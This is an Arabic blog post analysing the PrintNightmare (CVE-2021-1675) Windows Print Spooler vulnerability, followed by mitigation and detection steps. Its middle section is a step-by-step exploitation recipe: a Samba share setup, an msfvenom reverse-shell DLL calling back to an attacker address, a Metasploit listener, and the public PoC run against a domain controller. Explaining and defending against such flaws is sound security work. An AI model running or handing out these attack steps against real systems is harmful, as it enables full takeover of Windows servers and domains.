القائمة الرئيسية

الصفحات

قامت شركة ويندوز ب نشر patch لثغرة من نوع - في تاريخ jun 8, 2021


قامت  شركة ويندوز ب نشر patch  لثغرة من نوع  - في تاريخ jun 8, 2021   


  


 LPE ( Local Privilege escalation ) 


والتي تسمح للمهاجم بتصعيد او ترقية صلاحياته من يوزر طبيعي الى يوزر بصلاحيات ادمن.


- ولكن في نفس الشهر وبالتحديد تاريخ jun 21, 2021 قامت ويندوز ب تعديل الثغره من نوع LPE الى RCE.


طبعا الثغره تم اكتشافها تبعا لأبحاث قاموا بها باحثيين امنيين والتي تخص ثغراات مسبقة عديده تستغل ال spooler service في الويندوز والي كانت تحت أسم:


printdemon cve-2020-1048


أما بالنسبة للثغرة اللي حبيت اعمل عليه تحليل بسيط للأفادة فهي ثغره تحمل ال CVE التالي :


CVE-2021-1675


وتم تسميتها ب :


PrintNightmare


ال CVSS الخاص بالثغرة:


CVSS:3.0 7.8 / 6.8


الثغرة متواجدة بسب وجود مشاكل عديدة ( تقريبا من 10 سنين ) في خدمه معينة في اجهزة الويندوز والذي بدورها مسؤوله عن أدارة الطابعات وسيرفرات الطابعات وهي :


Print Spooler


الservice  موجوده في كافة اجهزة الويندوز بالاضافه الى انها enabled by default.


ال print spooler يقوم باجراء عملياته الاساسيه بأستخدام البروتوكل التالي :


[MS-RPRN]: Print System Remote Protocol


الثغرة تصيب جميع اجهزة الويندوز من غير اي استثناء وحتى الاجهزة التي تم تحديثها بالكامل.


شخصيا انا جربتها على الاصدارات التالية:


windows server 2012 ( fully patched )

windows server 2016 ( fully patched )

windows server 2019 ( fully patched )


تم اكتشاف الثغره من قبل الباحثيين:


Zhipeng Huo

Piotr Madej 

Zhang Yunhai


الثغرة نوعا ما سهله الشرح, وممكن نلخصها بالتالي:


1- المهاجم يريد اضافه تعريف لطابعه معينه لاستخدامها بأغراض مكتبية.

2- المهاجم يقوم بتكوين ملفات ضارة من شانها تنفيذ اوامر او فتح باب خلفي للسيطره على الهدف.

3- المهاجم عوضا عن ارسال ال driver الخاص بالطابعه المراد العمل عليها , الا انه يقوم باجراء calls  معينه مع الprint server او اي server لارسال الملفات الضارة لخداع السيرفر والسيطرة عليها سيطره كامله.


في ذات الاسبوع قام حساب على github بنشر ال PoC  الخاصه باستغلال الثغره ولكنه قام بحذف ال repo  تجنبا للاستخدام الخاطئ. ولكن للٍأسف ال repo تم تحميله من قبل العامة.


https://twitter.com/edwardzpeng/status/1409810304091889669


بعدها طبعا تم نشر اكثر من PoC 


لشرح فكرة الثغرة بشكل مبسط ونظري , فلنفترض الأتي: 


printer driver : HP Printer Driver

Print server: PRTSRV-01

Attacker ( normal domain user ) : testuser


السيناريو حاليا هو ان اليوزر العادي سوف يقوم باضافة ال driver ل الserver باستخدام صلاحيات يوزر عادي في بيئة الactive directory بشكل عام.


الخطوات:


1- سوف يقوم اليوزر بأستخدام ال RpcAddPrinterDriver call  لأضافة الdriver الى السيرفر 


2- يتم حفظ الملف الخاص بال driver في مكان تستطيع ال print server الوصول اليه, وابسط مثال على ذلك هو استضافة الملف على جهاز داخلي ومشاركة المسار التي تم حفظ الdriver فيه مع الserver 


3- ومن ثم تخصيص ( حفظ ) الاعدادت ( تفاضيل الملفات والسيرفر .. الخ ) على ال DRIVER_INFO_2 بالشكل التالي :


pName = L"HP Printer Driver";

pEnvironment = L"Windows NT x86"; /* Environment the driver is compatible with */

pDriverPath = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";315 / 415

[MS-RPRN] - v20200826

Print System Remote Protocol

Copyright © 2020 Microsoft Corporation

Release: August 26, 2020

pDataFile = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";

pConfigFile = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";


4- سيقوم بعد ذلك اليوزر بتخصيص وحفظ الاعدادت ( المتواجده في ال DRIVER_INFO_2 )   على DRIVER_CONTAINER driverContainer structure.


5- الخطوه الاخيره وهي استخدام  RpcAddPrinterDriver call لتطبيق كل ما تم فعله:


RpcAddPrinterDriver( L"\\PRTSRV-01", &driverContainer );

 


طبعا من المفترض ان في authentication اثناء اداء العملية بأستخدام الRpcAddPrinterDriver ولكن للأسف اثناء تطبيق الاستغلال للثغره اكتشف الباحث الامني ان الauthentication المسؤول عنه SeLoadDriverPrivilege,  من الممكن تخطيه.


ايضا هنالك security check  في ال spooler service والمسؤول عنه ValidateObjectAccess تم تخطيه نظرا لوجود authentication logic issue في الكود البرمجي تبع مايكروسوفت.


في حال ان كل الخطوات تم تنفيذها, فالان ممكن نعرف كيف بالتفصيل يمكن استغلال هذي الثغره لاسيطره الكامله على الجهاز او النتورك بشكل كامل.


وعشان نعرف كيف يمكن استغلال الثغره ,لازم الاول نعرف كيف ال Spooler service يتعامل في حال وجود  RpcAddPrinterDriver call:


فلنفترض ان لدينا الvariables التالية والتي تحتوي على اماكن الملفات المطلوبه لانجاز مهمه اضافه الdriver:


 pDataFile =A.dll


 pConfigFile =\attackerip\Evil.dll


 pDriverPath=C.dll


الخطوه الاولى والتي الspooler service سوف يقوم بها هي نسخ  كافة الملفات ( ال3 )  الى:


C:\Windows\System32\spool\drivers\x64\3\new


الخطوة الثانية وهي نسخ كافة الملفات ( ال3 )  الى:


C:\Windows\System32\spool\drivers\x64\3


الخطوة الثالثة وهي ان ال spooler service سوف يقوم بتحميل ( قراءة ) الملفات التالية بعد نسخها:


C:\Windows\System32\spool\drivers\x64\3\A.dll 

C:\Windows\System32\spool\drivers\x64\3\C.dll

C:\Windows\System32\spool\drivers\x64\3\ Evil.dll


طبعا الspooler service في اخر اصداراته يتاكد قبل كل شي ان الملفين A.dll و C.dll ليسوا متواجدين في مسار من نوع UNC.


ولكن بالنسبة لB اللي هو  pConfigFile =\attackerip\Evil.dll ف من الممكن ان يتم نسخه من مسار من نوع UNC.


وبناء على ذلك ف من الممكن استبدال ال pConfigFile =\attackerip\Evil.dll باي ملف DLL اخر عليه reverse shell او اي امر اخر من شأنه السيطرة الكلية على السيرفر.


ولكن المشكلة هي أن في حالة تواجد ال3 الملفات في مجلد واحد نظرا لوجود access conflict , ف في هذي الحال لا يمكن تنفيذ ال Evil.dll والذي يحتوي مثلا على ال reverse shell .


والحل .. ..؟؟؟


الحل يكمن في استغلال ميزه في تحديثات الdrivers وهي ال backup.


يعني فلنفترض ان لدينا ملفات driver في هذا المسار على الويندوز:


C:\Windows\System32\spool\drivers\x64\3\


في حالة حصول update لنفس الdriver  ف سوف يقوم نظام الويندوز بعمل backup للاصدار الاول من الdriver الى هذا المسار :


C:\Windows\System32\spool\drivers\x64\3\old\1\ 


وهذي هي الطريقة المستخدمة في حفظ الملفات الثلاثه وبالاخص الملف الdll اللي عليه الreverse shell او ايا كان.


طريقة الاستغلال

==========

==========


استغلال الثغره من على جهاز linux 

-----------------------------------


1- ِنقوم بأنشاء مجلد مشاركة لحفظ ملف ال dll عليه بأستخدام ال samba:


- mkdir ~/testfolder

- sudo vim /etc/samba/smb.conf

- copy the following config lines


[global]

    map to guest = Bad User

    server role = standalone server

    usershare allow guests = yes

    idmap config * : backend = tdb

    smb ports = 445


[smb]

    comment = Samba

    path = /home/username/testfolder

    guest ok = yes

    read only = no

    browsable = yes

    create mask = 7777


- sudo service smbd stop

- sudo chown nobody.nogroup /home/username/testfolder 

- sudo service smbd start 


2- أنشاء ملف ضار ( .dll ) علية اي نوع من الpost exploitation attacks وغالبا ما يكون reverse shell. في هذي الحاله يمكن نستخدم ال msfvenom:


sudo msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.1.129 LPORT=4444 -o ~/testfolder/reverse.dll


3- ومن ثم نقوم بانشاء listener على الmetasploit :


msfconsole -q 

use multi/handler

set payload windows/x64/shell_reverse_tcp 

set lhost 192.168.1.129

set lport 4444

exploit -j 


4- حذف نسخه ال impacket القديمه ( ان وجدت ) واستبدالها بالنسخه التي يمكن استغلال الثغره عن طريقها :


sudo pip3 uninstall impacket

git clone https://github.com/cube0x0/impacket

cd impacket

sudo python3 ./setup.py install


5- الخطوه الاخيره وهي عمل clone للPoC وتنفذيه :


git clone https://github.com/cube0x0/CVE-2021-1675.git

cd CVE-2021-1675

python3 CVE-2021-1675.py offsectest.test/test:asdqwe@123@192.168.1.180 '\\192.168.1.129\smb\reverse.dll'


طبعا اليوزر test يوزر لا يملك اي صلاحية.

192.168.1.180 primary domain controller 

192.168.1.129 my attacking box 


 

سؤال : كيف يمكن نعرف اذا كان الجهاز المستهدف مصاب بالثغره ام لا قبل الاستغلال ؟


الجواب :


remotely :


python3 ~/tools/impacket/examples/rpcdump.py @192.168.1.180 | grep MS-RPRN && echo "Host is vulnerable" || echo "host is not vulnerable"


Locally :


get-service *spool*

sc query "spooler" | find "RUNNING"


طرق الحماية 

========

========


الحل الاول - تعطيل خدمه ال print spooler نهائيا :


get-service *spool* | stop-service

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

sc stop spooler

net stop spooler

REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start " /t REG_DWORD /d "4" /f

Uninstall-WindowsFeature Print-Services

Policies/Windows Settings/Security Settings/System Services/Print Spooler


الحل الثاني - تقييد الوصول للمسار التالي عن طريق ال ACL:


C:\Windows\System32\spool\drivers


عن طريق استخدام اوامر الpowershell التالية :


$Path = "C:\Windows\System32\spool\drivers"

$Acl = Get-Acl $Path

$Ar = New-Object  System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny")

$Acl.AddAccessRule($Ar)

Set-Acl $Path $Acl


الحل الثالث - تعطيل ال client connections لل spooler عن طريق ال Group policy :


omputer configurations/administrative Templates/Printers/Allow Print Spooler to accept client connections ( change to disabled ) 


تأكد من استغلال الثغره على جهازك

=====================

=====================


1- مراقبة ال log entries المتواجده في  Microsoft-Windows-PrintService/Admin   عن طريق امر الpowershell التالي: 


 Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin' | Select-String -InputObject {$_.message} -Pattern 'The print spooler failed to load a plug-in module'


2- راقب بشكل دومي الevent الخاص بال imageload  

EVENT ID 7


3-  قم بتفعيل ال log ( Microsoft-Windows-PrintService/Operational )  عن طريق 

اوامر الpowershell التالية: 


$logDeets = Get-LogProperties 'Microsoft-Windows-PrintService/Operational'

$logDeets.Enabled = $true

Set-LogProperties -LogDetails $logDeets

هل اعجبك الموضوع :

تعليقات